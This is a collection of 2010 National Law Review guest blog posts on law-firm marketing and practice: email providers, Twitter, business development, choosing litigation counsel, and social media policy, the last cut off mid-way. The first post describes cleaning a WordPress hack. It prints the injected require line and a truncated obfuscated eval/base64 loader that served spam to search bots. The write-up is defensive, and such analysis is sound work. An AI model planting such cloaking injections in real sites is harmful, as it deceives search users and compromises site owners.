WordPress Search Spam

A helpful article for all Word Press Users out there from the National Law Review’s Business of Law weekly guest bloggers – Duo Consulting.  Scott Frazer of Duo goes over a Spam issue that impacted Duo’s Blog and provides a detailed solution on how they fixed the problem!

Our blog was recently affected by a rather clever little hack, and when I went searching for ways to remove it, I couldn’t find much. Here’s a brief writeup of what happened and how I fixed it.

Our Director of Internet Marketing Strategy, Sonny Cohen, spends some of his time searching Google and other search engines for keywords relative to our business. He began noticing that some of those results, while they would return pointers to our blog, were laced with keywords and links to various male enhancement drugs. When I searched our blog for these references, I couldn’t find anything.

Here’s what I was seeing when I would search our blog for the phrase “test”:

But here’s what Google was seeing when it did the same search:

You may notice that the URL in that is to a local file. There are two ways you can see what your site looks like to Google. One is to change the User Agent on your browser to match that of the Googlebot. The other is to use the Webmaster Tool’s “Fetch As Googlebot” lab utility. I used the latter, and saved the resulting report as an HTML file and then opened that file in Chrome.

So why is Google seeing different results than anyone else who visits my site and runs that query? Something different must be happening when Google visits. I started running through the execution path of WordPress. The first file that is accessed is index.php. All this file does is turn on a theming variable and load wp-blog-header.php. So I moved on to that file. It looked like this:

if ( !isset($wp_did_header) ) {
$wp_did_header = true;
require_once( dirname(__FILE__) . ‘/temp.php’ );
require_once( dirname(__FILE__) . ‘/wp-load.php’ );
wp();
require_once( ABSPATH . WPINC . ‘/template-loader.php’ );
}

temp.php? Never heard of it, let’s see what’s inside:

eval (gzinflate(base64_decode(
‘vVhtc9pGEP6emfwHRfUUmGLg9IbkhNrUJrZnEsfFOGmKXc1ZOoMmQqInYYea/Pfu’
.’nnjRG6aZzNRj0Em7++yzu3erOw5/fXM4HU9fvnj5Ym8cRnFnz77q9T/2+sPK2WBw’
…snip for length…
.’6reTZEAXdDrl4QNzE/3F3Wy+iKjPxFe0gH7G+ML1IiecBfHiY+LyWLhsVmDlrQ7g’
.’cvonDPkW65UOKh6zCWuM44kvFr6Ialmvw1/fHP4L’
)));

Now that looks evil. Obfuscated code can’t be good. I decided to see what it does by replacing the “eval” with “print” and then I ran “php test.php” from that directory. The results are very long, but you can see them here.

Basically, the program tries to determine if we are a real person or a search engine bot by looking at things like our IP address and our user agent. If it determines we are human, it goes ahead and returns the standard header. If we’re a bot, it serves the content in “theme.html” which is identical to the second screenshot above.

So to clean things up, I removed the reference to temp.php from wp-blog-header.php, deleted the file temp.php and deleted the file theme.html.

© 1999-2010 Duo Consulting

About the Author – Scott Frazer:

Scott supervises Duo’s network facilities, monitoring hardware and software, analyzing problems and ensuring that the network is fully operational. He works closely with clients to identify, interpret and evaluate their system requirements. He also provides the front-line defense of the Duo network by planning, coordinating and implementing network security measures. An avid Mac user, Scott is nonetheless happy to keep Duo’s servers running on Windows Server 2003 and Ubuntu Linux.

Scott has been working in network administration with Internet companies for over ten years. He has experience designing and maintaining networks and server farms for high-traffic sites in both the hosting and e-commerce arenas. As the senior system administrator for MusicToday, an online ticketing, merchandise and fan club portal, he was responsible for the stability and security of large-volume e-commerce sites, including websites for the Rolling Stones, the Grateful Dead and the Dave Mathews Band. www.duoconsulting.com / 312-529-3006

Is Your Email Service Provider the Best?

This week’s Business of Law Guest Bloggers at the National Law Review are from Duo Consulting.  Sonny Cohen of Duo provides some good specifics on what to look for in an emailing service.

We recently received this question from a law firm marketer. I’ve edited it slightly for brevity and anonymity:

“Our email service is earning a big #fail at this point. We’ve used (Name Brand provider) with great success for small jobs and I’m talking with them about an enterprise solution. Do you have a provider you love (or a crappy one I should be warned away from)? What are the pros and cons of the systems you’ve used?”

The question, submitted to a listserv, engendered responses of affiliation with one ESP or another because they liked them, had no problems, or other good indications of service. But email delivery is more complex than you might first imagine and one size does not fit all. It is not (yet) a commodity. Personal recommendations of quality service or indications of being satisfied are a good start of an evaluation but an insufficient qualifier for engaging an email service provider. Like the acquisition of almost any service (legal or technical) it is important to understand requirements.

This is not intended to be comprehensive but merely to illustrate my point. Get this part and you might get there is more to the story. So let’s take a look at these simple factors:

  • What does your email subscriber base look like? gmail.com? or bigcompanyname.com?
  • How big a mailing would you execute at one time?
  • What is your mailing frequency?

If you send a lot of email frequently to corporate email addresses, the email reputation is critical to getting into the inbox of your subscriber. The better email service providers (ESPs) do 2 things. First, they manage the reputation of the email addresses from which they send the email (their IP addresses). The best ESPs offer you the opportunity to set up your own email address on their system. This will look something like email.lawfirm.com and email will come from something like sonny@email.lawfirm.com So while it still looks like your business, it is isolated from your domain (lawfirm.com) and from the email sending behavior or misbehavior of other clients of this ESP. Are you with me?

What happens if you send an email to a lot of people at the same domain such asxxxx@client.com where xxxx is lots of different people? When all these emails show up @client.com at one time, they look like spam. It may even look like an attack on the email server. The corporate email server receives these emails so you probably see these emails as being delivered. But they never make it into the inbox of the individual email recipients.

The better ESPs offer the capability to throttle the sending of emails so that they don’t look like a spam attack on an email server. It more closely resembles natural email commerce. Good commercial ESPs can afford to throttle the send of their emails. Spammers cannot because they’ve got way too much email to send. Are we getting esoteric yet?

ESPs are commercial companies and not a part of any website development company’s core competency. We have our favorites but we are not linked at the hip. Email services built into CRM systems such as Interaction, Salesforce, etc. are bulk mailers and do not have these deliverability features and a deliverability desk (personnel) focused on managing IP reputation. This doesn’t make them bad by any stretch. But it does affect deliverability performance.

Finally, the best ESPs are becoming messaging companies capable of delivering text messages and voice messages. If your communication strategy is to be first to market with targeted information, you may find that a text message alert system is a client service you haven’t yet considered. It is unlikely that your “economy” bulk email guy who is “friendly to deal with”  offers these extended and diversified contact capabilities. And maybe you don’t need it and never will.

Being able to track email performance is a common feature but it is not the test of a quality system. And these tools may not even provide accurate or complete information regarding the effectiveness of your email marketing campaigns. Even the best (i.e. more costly) ESPs come only close to precise. Third party firms like Return Path and Pivotal Veracity might provide this higher level of email evaluation and deliverability improvement.

Price is not always a guarantee that you will get better delivery services like what I’ve identified above. But a low price pretty much guarantees that you will not. For my part, I think reaching targeted contacts for a few pennies is a pretty good deal. If you are driven to cut that penny in half, you should at least know what you are getting and what you aren’t.

Whew! Hope this is helpful. Oh yeah, who do we use? ExactTarget. But remember. One size does not fit all. Think about your requirements.

Email open rate is only one indicator of email success

© 1999-2010 Duo Consulting

About the Author:

Sonny works closely with Duo’s clients to develop their online business and marketing strategy. His tactical responsiblities include: Implementing and managing paid search engine campaigns;  Consulting on and implementing permission-based email; Providing strategic online marketing consultation to law firms and others using web analytics to help drive website and business performance and Conceputalizing and implementing social media marketing.

312-529-3003 / www.duoconsulting.com

Twitter Do’s & Twitter Don’ts

As included in the Business of Law Section of the National Law Review Tom Ciesielka of TC Public Relations provides some solid Do’s & Don’ts for Twitter:  

With millions of unique visitors each month, Twitter is still at the top of the social media game. Some people still use Twitter to catalog boring details of the day. However, savvy and smart users realize Twitter’s usefulness as a concise way of marketing and reaching out to consumers and media.  Read the following do’s & don’ts to continue being one of the savvy and smart users.

  • Do make quality friends. Capturing an audience on Twitter is important, but don’t start following 857 people in one day. Start with a few friends, some movers and shakers of your industry, some legal reporters—listen to their tweets, and offer relevant replies. Then continue to follow a few new people week by week. Don’t just follow to follow, but actually think about why you want to connect with a certain person – think “strategic following.” Then contribute meaningful posts each day that others might find interesting as a way to build your own following.
  • Do protect your reputation. Twitter can be used to solidify your brand image, and it is an indispensable medium when crisis hits. Maintaining a Twitter account can help your firm when a damaging story hits cyberspace because a response on Twitter is often the fastest way to acknowledge the problem or issue. Failing to address any breaking news that involves your company makes you look at best, incompetent and at worst, guilty. Confidentiality laws may render tweeting a bad idea, but you should always pay attention to what’s happening and be prepared to do damage control when necessary.
  • Do be efficient. Building relationships on Twitter can facilitate communication about your legal specialties and expertise. However, using Twitter effectively and appropriately can be a time-consuming job, so try and implement applications that will help you be more efficient like TwitterFeed, TweetDeck and ÜberTwitter. It is also more efficient to partake in niche topic conversations about your practice areas instead of tweeting about the world of law in general. Specificity trumps generality.
  • Don’t be boring or narcissistic. Stick to tweeting about pertinent topics and find ways to express your personality through the links you post, rather than tweeting about how many briefs you’ve written that day or what color tie you’re wearing. Share links to legal headlines or comment on stories related to your expertise. Participate in discussion, reply to other users’ tweets, re-tweet their tweets—Twitter is not a one-person game, so don’t try to be the center of the universe.
  • Don’t turn off your censor. In cyberspace, a record of your most inappropriate tweet will live on in infamy long after you’ve cooled down. Never forget that what you say on Twitter can come back to haunt you, so rude or tasteless comments can come back to haunt you. Play it cool and don’t tweet anything you wouldn’t say in public; after all, Twitter is incredibly public.

Copyright © 2010 TC Public Relations

This posting is republished with permission from the Chicago Lawyer Magazine Blog “Around the Watercooler” located at:  http://h20cooler.wordpress.com/2010/

About the Author:

Tom Ciesielka, President of TC Public Relations, has worked in public relations, marketing and business development for more than 25 years and has enjoyed working with clients ranging from law firms to distinguished authors to national and local companies. He feels privileged to have established trusting working relationships with these clients and values every opportunity he gets to help businesses grow.  He is also a former board member of the Legal Marketing Association in Chicago and has spoken at Chicago Bar Associations CLE programs.  312-422-1333 / www.tcpr.net

Top 10 Rainmaker Best Practices to Win in 2010 – Part 3

In the final installment of her three-part Business of Law guest blog posting at the National Law Review, Deborah Knupp of Akina Corporation details the final four steps to help focus and streamline legal business development.  

This week’s posts are identifying the Top 10 Rainmaker Best Practices, that when focused on with discipline and intention, distinguish you and your firm and help you gain a competitive sales advantage.  Our previous posts Part 1 and Part 2 focused on the first six Rainmaker Best Practices.  Today’s article focuses on the last set of four Best Practices and discusses WHAT works in any market and HOW to implement the best practices to impact your business with increased revenue, increased leverage of time and resources and improved accuracy and predictability in your sales pipeline.

7) Networking and Working a Room

Networking effectiveness has less to do with personality and more to do with readiness.  Simple answers to questions like, “What is my goal or objective for the event?”  “How many people do I want to meet at the event?”  “How might I follow-up after the event if I make a connection?” turn networking situations into productive treasure hunts.  Networking basics include having your Quick Pitch ready, having business cards accessible and managing your time to meet your objectives.  When possible, ask for the attendee list in advance and peruse the day’s headlines (news, sports, current events) to have small talk ready to break the ice.

8) Campaign Thinking

The ethos of Campaign Thinking is any single act of marketing or business development should be leveraged minimally for a 3:1 payback.   3:1 leverage could be turning an article into a speech and a webinar.  3:1 leverage could be turning a single event into a 3-part communication plan: pre-event communication, during the event conversation and post event follow-up communication. 3:1 leverage can also be geography based by utilizing travel as the authentic reason to connect, i.e. one meeting in NYC turns into three meetings in the Northeast Corridor.

9) The 6 Silver Bullets for Closing and Managing the Red Zone

Unfortunately, there is no magic phrase or silver bullet to close business.  There are however, six qualifiers that can be like silver bullets to understand when business should close.  Business will generally close if there is:

1)     A legitimate problem

2)     A good fit solution

3)     A sense of urgency attached to the timeline to make decisions.

4)     Access to the decision makers and their decision-making criteria

5)     Expectations that are in alignment regarding the level of effort it will take to initiate a relationship and work successfully with you

6)     Budget that fits with your fee structure

When your prospect’s interests align with your six qualifiers, business has a way of closing itself.  If you aren’t sure if your prospect’s interests align against a specific qualifier, asking additional Discovery Questions will provide clarity and a sense of what the appropriate next steps might be.

When business does close, it is understandable that when a prospective client gives you a verbal “yes,” it is tempting to celebrate and step back from your selling efforts.  However, managing the Red Zone means that you recognize that when you get the “yes”, the incumbent has gotten the “no,” which can often lead to desperate decisions and measures to retain the client.  Business is not truly closed until work has started.  Therefore, when you receive word that you have been hired you are on the 20-yard line.  You will want to continue to stay connected, step-up communication and set clear definitive next steps as you ready for the actual work.

10) Create SuperFans through Client Experience

Many professionals assume that if they do good work, clients will continue to hire them for more work. However, reality tells us that just doing good work is not enough.  The competitive market tells us that we need to continuously manage the client relationship to inspire client loyalty while simultaneously looking for additional problems to solve for the client. Recognizing that loyalty is usually a result of an accumulation of good experiences rather than one outstanding moment, we can create SuperFans by finding ways to deepen value within the client experience in seven areas of innovation:

1)     Client feedback

2)     Client intake process

3)     Communication and expectation management

4)     Client appreciation

5)     Knowing a client’s business

6)     Non-legal client project participation and facilitation

7)     Alternative fee arrangements

Summary

Whether you are new to business development or a seasoned veteran, the Top 10 Rainmaker Best Practices are designed to give you greater focus, greater control and greater results with more predictability.  When you remember to focus first on building authentic relationships and solving the problems that should be solved, you will have greater joy during the journey and greater impact in the communities in which you serve.

To see Part I of Top 10 Rainmaker Best Practices to Win in 2010 click here.

To see Part II of Top 10 Rainmaker Best Practices to Win in 2010 click here.

COPYRIGHT © 2010 AKINA CORPORATION

About the Author:

Deborah Knupp has worked globally with CEOs, executives, managing partners and attorneys as a coach and business executive for over 20 years. She has helped these leaders align their people systems and business objectives to create cultures based on the principles of accountability, integrity and authentic relationship building. Her work has focused on making the work environment a place where employees “want” to be; where clients “want” to buy; and, where leaders “want” to serve a bigger purpose in their communities and families.www.akina.biz /312-235-0144

Top 10 Rainmaker Best Practices to Win in 2010 – Part II

This week’s National Law Review Business of Law Guest Blogger is Deborah Knupp of  Akina Corporation . Deb authored a very helpful three part series on specific steps that attorney’s can take to increase business!  The following is part two: 

This week’s posts are identifying the Top 10 Rainmaker Best Practices, that when focused on with discipline and intention, distinguish you and your firm and help you gain a competitive sales advantage.  Our previous post focused on the first three Rainmaker Best Practices.  Today’s article focuses on the next set of three Best Practices and discusses WHAT works in any market and HOW to implement the best practices to impact your business with increased revenue, increased leverage of time and resources and improved accuracy and predictability in your sales pipeline.

4) Operate by the Platinum Rule through Discovery Questions

At Akina, we often speak about operating out of the Platinum Rule, which says “do unto others as they would be done unto,” or in more basic terms seek to serve another’s interest first, understanding that your own interests will be satisfied over time.  By operating from the Platinum Rule, we take on a posture of service over self-interest.  One of the best ways to evidence the Platinum Rule is through Discovery Questions.  “Discovery” implies that we are interested and care about others.  We often demonstrate more credibility by the types of questions we ask because our questions reveal our character.  Discovery Questions ultimately get others talking about the thing that they know best… themselves.  If new business is the natural outcome of solving problems, then the only way to understand what problems should be solved is to ask.

Getting into the habit of asking good Discovery Questions also enables us to find the most authentic way to stay connected over time.  When we ask good questions, it often becomes obvious how we can be most helpful to someone else, either through our introductions, information (knowledge) or invitations (access to events or opportunities).

Finally, good Discovery Questions help orient us as to where a prospective buyer might be in their decision-making process.  We don’t have to worry about “hard closing” if we’re paying attention to a buyer’s readiness to close.  Discovery Questions give us access and insight into a prospect’s perspective so that we can respond appropriately and adequately.

5) Time-Boxed Follow-up

Which brings us to the next best practice…great rainmakers call out Definitive Next Steps as they go.  Time-boxed follow-up is the opportunity to set next steps in the moment.  It’s saying “I’ll call you next Friday to set up lunch” or “I’ll reach back out to you in six months if we don’t connect again before then” versus leaving next steps open-ended or saying “we should do this again some time.”  Time-boxed follow-up concretely identifies what actions will be taken and by when.  Definitive Next Steps give us the chance to demonstrate that we are our word, that we are responsive, and that we care.

6) Prep/Plan/Strategy

At a high level, effective preparation demonstrates that you honor another’s time by caring enough to have a game plan designed to get to a clear destination. Tactically, effective preparation helps you control the variables you can in an uncertain market place.

At a minimum, they key elements of preparation include identifying: 

  • Your objective for why you want to meet
  • Your distinct key messages to convey interest and value
  • The discovery questions you will ask to deepen understanding and relationships
  • Anticipated scenarios and outcomes with potential definitive next steps, typically from a best case, likely case and worst case scenario

When done well, effective preparation, planning and strategy is done more than 24 hours before a meeting and is not conducted in a parking lot, elevator or car while driving.  Look for the final Rainmaker Best Practices in the following days!

To see Part I of Top 10 Rainmaker Best Practices to Win in 2010 click here.

COPYRIGHT © 2010 AKINA CORPORATION

About the Author:

Deborah Knupp has worked globally with CEOs, executives, managing partners and attorneys as a coach and business executive for over 20 years. She has helped these leaders align their people systems and business objectives to create cultures based on the principles of accountability, integrity and authentic relationship building. Her work has focused on making the work environment a place where employees “want” to be; where clients “want” to buy; and, where leaders “want” to serve a bigger purpose in their communities and families. www.akina.biz /312-235-0144

 

Top 10 Rainmaker Best Practices to Win in 2010 – Part I

This week’s National Law Review Business of Law Guest Blogger is Deborah Knupp of  Akina Corporation . Deb authored a very helpful three part series on specific steps that attorney’s can take to increase business!  Read On: 

This week’s posts will identify the Top 10 Rainmaker Best Practices, that when focused on with discipline and intention, distinguish you and your firm and help you gain a competitive sales advantage.  They focus on WHAT works in any market and HOW to implement the best practices to impact your business with increased revenue, increased leverage of time and resources and improved accuracy and predictability in your sales pipeline.

The Rainmakers Framework

Many people think that successful selling is all about “hard closing” the business.  The perception that you have to morph your personality into a pushy salesperson and pressure people to buy will often evoke fear, discomfort (and nausea).  Consider that the real truth about closing business happens long before the end of the deal.  Closing business is the natural outcome of an authentic relationship and providing a solution to a problem that should be solved… even if you must temporarily suspend self-interest in the short term.

Closing starts with targeting the right relationships in the right situations that might have the right problems for which you have the right solution.  When an authentic relationship exists and all conditions are present to close, business will often close itself.

The First Three Rainmaker Best Practices

So how do you focus with intentionality and discipline in ways that are likely to give you a better return on effort (ROE) and return on investment (ROI) as you pursue new business?

1) Targeting through the Top 40

Consider focusing your attention on your Top 40 Contacts – these include Prospects (people who can buy now or at some point in the future) and Connectors (people who can refer you to prospects – which may also include your clients.)  As you think about your top connectors, peruse your entire network.  Often many of our best connectors get overlooked because our relationships are rooted in personal contexts (i.e., family, neighbors, personal service providers, etc.)  Realize that targeting is about determining “who is most likely to have a problem I can solve through my legal skills” and “who do I know that knows people who have problems that can be solved by legal skills”.

Be intentional, be selective and be aware of how all your networks may be beneficial.

2) Getting in the Door with the Authentic Reason

If you don’t have a good reason to pick up the phone and call, don’t.  Having authentic reasons to connect is one of the keys to creating genuine relationships over time.  Authentic reasons require you to look for ways to connect that are relevant and authentic from the other person’s perspective, not just your own.

Ask yourself – “If I was the person I’m about to call, why would I be interested in hearing from me?”

If you are struggling for an authentic reason, brainstorm against your three “IN’s”:

  • Invitations:  what events do you have access to that your contact would appreciate or value attending?
  • Introductions:  who do you know that your contact may find beneficial to know?
  • Information:  what do you know that your contact would benefit from knowing?

3) Memorable Messaging

If you want to make yourself memorable, you need to be message ready with a “Quick Pitch” and a “What’s New? Message.” A Quick Pitch answers the question, “what do you do?” with a response to the question “what problem do I solve for whom”.  By answering this way you increase the odds of sounding more interesting and compelling yet remain conversationally appropriate.  When you communicate what problems you solve and for whom, you are able to draw people into further conversation and provoke genuine curiosity and interest.  To that end, “quick” is the operative word in “quick pitch”.  You will want to be relatively brief and create interest.  Instead of saying “I am a <noun>” try responding with “I <verb> <target market> <problem solved>”.  People care about what you can do for them or others more than your job title.

The Quick Pitch is useful when meeting people for the first time, however, there are messaging opportunities that happen every day with people we already know.  How you respond to the question, “What’s new?” or “What have you been working on lately?” is rife with opportunity if you can respond strategically and appropriately.  Rather than mumbling the usual, “nothing” or “same old, same old,” consider filling the void with something you are genuinely spending time doing or thinking about.  For example, you might reply, “I’ve just picked up a new employment case that is really interesting” or “I’m preparing to speak on employment updates at a conference in LA next week.”   Either response may spark additional queries and conversation, and they definitely help reinforce the kinds of problems you solve and for whom.  To that end, if a more personal “what’s new?” is a better fit for the situation, share a recent story about your family, an upcoming vacation or your golf game.  Effective messaging invites people to know you, care about you and want to develop a deeper relationship with you.

To see part II of Top 10 Rainmaker Best Practices to Win in 2010 – Click Here

COPYRIGHT © 2010 AKINA CORPORATION

About the Author:

Deborah Knupp has worked globally with CEOs, executives, managing partners and attorneys as a coach and business executive for over 20 years. She has helped these leaders align their people systems and business objectives to create cultures based on the principles of accountability, integrity and authentic relationship building. Her work has focused on making the work environment a place where employees “want” to be; where clients “want” to buy; and, where leaders “want” to serve a bigger purpose in their communities and families. www.akina.biz /312-235-0144

Have You Been Sued…or Are You About to Sue Someone? Ten Questions to Ask Your Attorney

As recently posted on the National Law Review –some great “How To” advice from Anthony C. Valiulis of Much Shelist Denenberg Ament & Rubenstein P.C. on things to consider when retaining an attorney & law firm: 

Like a visit to the dentist, litigation is often necessary but seldom fun. It takes time, interferes with your business, disrupts your life, and can exact a substantial monetary and emotional toll. So if you have to go down the litigation road, choosing your travel guide is one of the most important decisions you will make. In a very real sense, your legal counsel will lead you on this journey. Therefore, you need someone who is not only skilled but also compatible with you and right for the case.

Despite the stereotypes, attorneys are as diverse as any group of people can be, each with a different approach and level of knowledge and experience. Most of us, however, do share one characteristic: we strive zealously to represent the interests of our clients.

Within that context, how can you determine which attorney is best for you? Although there are no guarantees (and if a lawyer tells you differently, immediately start looking for someone else), here are 10 questions you can ask to determine if an attorney is right for your matter.

Question 1: Why Should I Retain You or Your Firm?

Attorneys are not one-size-fits-all. You need a lawyer with whom you are comfortable, who also has the knowledge and skills necessary to represent you well and can differentiate himself or herself from other lawyers. To use a cliché, you need someone who can add value. After all, adding value for our clients is what lawyering is all about.

Although attorneys approach this challenge in many ways, generally it all comes down to one thing: helping you solve your problem in the most efficient and cost-effective way possible. This is especially true in litigation, where the emotional cost often exceeds the financial one. Thus, it is vitally important to discuss up front your attorney’s perspective and strategy. How will he or she proceed in order to accomplish your goals? Of course, that presupposes that you have already established those goals, which brings us to the next question. 

Question 2: How Strong Is My Case?

This is perhaps the most obvious and most important question to ask. It’s also what you want to know more than anything else, with the possible exception of Question 4. This is your opportunity to learn exactly what your lawyer believes about your case, which can be quite revealing in other ways. For example, if a lawyer tells you that you have a “slam dunk,” pick up your things and leave. There are no slam dunks! Why? Because there is no certainty whatsoever when a case goes before a judge, a jury, an arbitrator or any other third party.

Question 3: What Are the Weaknesses?

Here is the flip side to Question 2, and it is just as important. What you want from your attorney is an honest assessment of the strengths and weaknesses of your position—not only why you are likely to prevail but also why you might lose. As human beings, we tend to view everything through a self-serving filter. Your lawyer, however, should strive to see beyond that filter in order to accurately evaluate your case.

Question 4: How Much Will It Cost?

When you embark on litigation, it is important to decide whether it makes economic sense to fight to the end or settle as quickly as possible. In other words, if you have a $50,000 dispute, you need to know if it’s going to cost you $5,000, $15,000 or $40,000 to resolve it.

In a litigated matter, your lawyers might not be able to provide much certainty with respect to cost. But they can share their billing rates and estimate how much time they expect to devote to the case. This information will help you make an informed decision about how to proceed. If you are considering a lawyer who is not willing to give you an estimate or budget, find someone else who will.

Question 5: Will You Consider Alternative-Fee Arrangements?

Although lawyers generally charge by the hour and that traditional approach works for many clients, there are other methods of billing. For example, many attorneys are willing to handle certain matters on a blended-rate, flat-fee or contingent basis. Others might be willing to discuss an arrangement based on the result achieved.

Question 6: How Much Relevant Experience Does Your Lawyer Have?

You need to feel confident that your lawyer has the skills and knowledge to effectively represent you in the matter at hand. Likewise, your lawyer should want you to feel comfortable with his or her ability to represent you effectively. Therefore, don’t be shy about asking your attorney how much experience he or she has related to your particular dispute.

Question 7: Who Will Handle My Matter?

Let’s say you’ve met with a lawyer, were impressed with her capabilities and retained her to represent you. Will it really be that lawyer who acts on your behalf, or will your matter be relegated to a less experienced associate or maybe even a paralegal? You can’t know for sure unless you ask. Of course, when you select an attorney from a firm like Much Shelist, you are really hiring a team of lawyers at different billing rates, which may be advantageous on multiple levels. Research, for example, can often be done better and less expensively by associates or younger partners. If, however, you want a particular lawyer to handle everything, you should make that clear up front.

Question 8: Where Is the Engagement Letter?

Once you have decided to retain a lawyer, make sure there is an engagement letter signed by both you and the attorney. An engagement letter protects the client as much as, if not more than, the attorney. It should set forth the fee structure, the scope of the engagement, any requirement for an up-front retainer (including the amount), how out-of-pocket costs will be handled, what other charges are involved and so on. If there is anything in the letter that you do not understand, make sure the attorney explains it to you. Most importantly, your lawyer should never dismiss the engagement letter as “just boilerplate.” If he or she does, then you should seriously consider getting another lawyer. Ultimately, the engagement letter constitutes a contract between you and your attorney and is invaluable in establishing the parameters of the relationship.

Question 9: What Charges Should I Expect to See on My Bill?

This may seem like an obvious question, but in many respects, it is not. Generally, if you phone your attorney, you are going to be billed for that call. If your attorney has a substantive discussion about your matter with someone else in his or her office, you will usually be billed for that conference. If an associate does research on your file, you will likely be billed for that work. If a paralegal reviews documents or organizes a file, you will probably be billed for his or her time. There is nothing particularly surprising about these examples, but what about charges for electronic research like Westlaw? How about faxes or photocopies? All of these billing issues should be addressed in the engagement letter. And if it includes something you do not like, discuss it with your attorney before you sign on the dotted line.

Question 10: What Is the Likely Outcome?

Although your attorney will not be able to answer this final question with certainty—especially during the initial stages of the matter—it is important to discuss the issue right away. As I’ve said before, there are no guarantees, but experienced counsel should be able to give you an idea of what might take place down the road. Ultimately, there is no benefit to you or your relationship with your lawyer to have unrealistic expectations.

This list of questions is by no means exhaustive, and that’s a good thing. You should never hesitate to ask your lawyer anything, no matter how big or small. We are here to help, so ask away!

© 2010 Much Shelist Denenberg Ament & Rubenstein, P.C. 

Social Media Policy Drafting: What are the Ethical Risks & Pitfalls?

The National Law Review’s featured Business of Law Guest  Blogger Meredith L. Williams of Baker Donelson Bearman Caldwell & Berkowitz, PC outlines some very real concerns for lawyers and law firms related to social media and state bar assocation guidelines.  Ms. Williams also offers some very concrete Do’s and Don’t on how to address these concerns.  Read on….

Today, social media encompasses a broad sweep of online activity, all of which is trackable and traceable.  These networks include not only the blogs you write and those to which you comment, but also social networks.  Each day brings new online tools and new advances introduce new opportunities to build your virtual footprint.

As a law firm, social media can help drive business initiatives and support professional development efforts. In basic business terms social media can be considered the least expensive form of large scale advertising. However, social media is not exclusively used for business by law firm employees.  When it comes to expressing opinions about anything having to do with the law, firm employees are in a position that requires limitations and have certain limitations. Statements in public forums may inadvertently create an attorney-client relationship, and they may also violate the rules prohibiting law firm advertising.  The wrong communication can be construed as exposing firm or client secrets; invasion of privacy and defamation; trademark violations; and may even lead to wrongful termination claims. Therefore, a law firm must attempt to provide reasonable guidelines for online behavior by members of the firm.

The following are five (5) ethical areas that all law firms should address when drafting internal social media policies. These can also be utilized by law departments when dealing with lawyer and non-lawyer employees.  All of these rules are simply an extension of model rules of professional conduct & state rules of ethics.  The over arching principles should remain the same as new social media sites and technologies emerge.

Advertising (Model Rule of Professional Conduct 7.2)

Marketing and advertising are key functions for any business survival. However, lawyers, especially in law firms, are held to a higher standard when advertising through electronic means. Model Rule of Professional Conduct 7.2[1] states a lawyer or law firm may advertise through written, recorded or electronic means.  This includes all social media sites.

  Quick Reference
  Do

  • Have any personal or professional social media site as desired.
  • Use appropriate disclaimers as needed.

Do NOT

  • Use the organization’s name or email address on a personal site unless using the appropriate disclaimers.
  • Use the organization’s assets to update personal sites.
   

Example: A law firm creates a site on Facebook, MySpace, LinkedIn, Twitter, etc. using the firm name.  Is this advertising?

Example: An employee of a law firm uses the firm name or firm email address on their personal Facebook site.  Is this advertising? 

State ethics boards consider the true crux of the advertising issue to be not who creates the site or the intent of the site but rather whether or not the site can be considered to be used for professional use.  If being used for professional use, social media presence and communication can be considered to fall within the advertising rules. 

Below are a few guidelines to include in firm policies to teach your employees (lawyers and non-lawyers) how not to create a professional site unless intended.

  • Employees should not associate the firm name or firm email address with the site unless it is intended for professional use.  This includes stating they are an employee of the law firm. 
  • Do not use firm assets to update personal sites.  This includes any law firm owned laptop or computer, I-Phone or blackberry, firm IP address and email address.  Using the firm email address implies the employee is acting on the firm’s behalf. 
  • Create an advertising disclaimer to help employees specifically state their use is personal or professional. 

This subject is difficult to approach with employees. Many will argue it is the same as verbally telling someone they work at a specific law firm. However, state boards have compared the online activity to a law firm website vs. verbal communication.  The best approach is helping employees understand how not to blur the lines of professional/ personal sites for their own protection.  As an employer, you want employees to continue using social media sites to broaden and help promote the firm brand.  However, you only want them to do it in the most ethical way.

Attorney-Client Relationship (Model Rule of Professional Conduct 1 Series)

The attorney-client relationship is one of the oldest legal ethical standards.  It creates a certain set of duties the lawyer owes the client. The model rules of professional conduct set forth a series of guidelines that help regulate the creation and existence of this important relationship. In the electronic world, especially when utilizing social media, the important issue is whether any electronic communication creates an attorney-client relationship inadvertently. 

  Quick Reference
  Do

  • Post non-legal comments, blogs, etc. on any personal or professional site.
  • Use appropriate disclaimers as needed.

Do NOT

  • Post legal advice.
  • “Friend” anyone on a professional site unless previously corresponded or known.
  • “Friend” a Judge on a professional site.
   

Example: A lawyer of firm ABC is blogging on a social media site regarding new tax laws. A non-client comments to the blog inquiring about his specific tax situation. The lawyer in turn comments again discussing how the new tax laws apply to the non-client. Has an attorney-client relationship been created?

Law firms presently use disclaimers for emails and firm websites to verify no implied relationship is created.  But how do we instruct employees to this standard when social media sites are interactive by nature? Below are a few key policy guidelines to help employees navigate this difficult area.

  • Employees should never post legal advice.  This does not mean employees cannot comment or post to social media sites. It only relates to publishing or posting that could be construed as legal advice or opinion.  If the subject matter is related to a legal or ethical situation, attorneys and staff may only discuss the legal standards but not apply those standards to any particular fact situation. 
  • Firms should provide a disclaimer for employees to utilize when posting or commenting on professional social networking sites. 
  • When using social networks with firm e-mail and professional identification, employees should not “friend” anyone they do not know and/or with whom they have not previously corresponded. 
  • Some states have even gone so far as to also state that lawyers and judges cannot be “friends” on any professional social media sites. State ethics rules should be consulted prior to drafting any policy.

Client Confidentiality (Model Rule of Professional Conduct 1.6)

Client confidentiality and business privacy are two of the largest concerns of employers when dealing with social media communication. Generally, a lawyer shall not reveal information relating to the representation of a client unless the client gives informed consent.  In addition, privacy of the organization, the business processes, the firm brand and the IP of the firm are key for business continuity.

  Quick Reference
  Do

  • Discuss job generically
  • Avoid uncontrolled forums.
  • Be respectful of other’s and the company’s privacy.
  • Get approval when responding to negative requests.

Do NOT

  • Discuss job specifics.
  • Use the client’s name.
  • Disclose specifics related to the business.
  • Disclose confidential information.
  • Upload law firm contacts onto a social media site.

 

   

Example: A lawyer begins discussing a case he is handling on his personal Facebook blog.  Although not referencing the client name, details of the case are discussed. Has the client confidentiality been broken?

Example: A law firm employee tweets about a firm staff meeting discussing salary and new hires.  Has the privacy of business been destroyed?

Law firms must address confidentiality and privacy standards in social media policies.  In addition, consequences for breaking these standards should also be detailed. Below are a few policy considerations to navigate this area. 

  • Employees should never use a client’s name unless written permission has been received.
  • Employees should never disclose confidential or private business information.  Sharing this type of information, even unintentionally, can result in legal action against the employee, the firm, and/or the client.
  • Outside the workplace, rights to privacy and free speech protect online activity conducted on personal social networks used with personal email addresses.  However, what is published on personal online sites should never be attributed to the firm and should not appear to be endorsed by or originated from the firm.
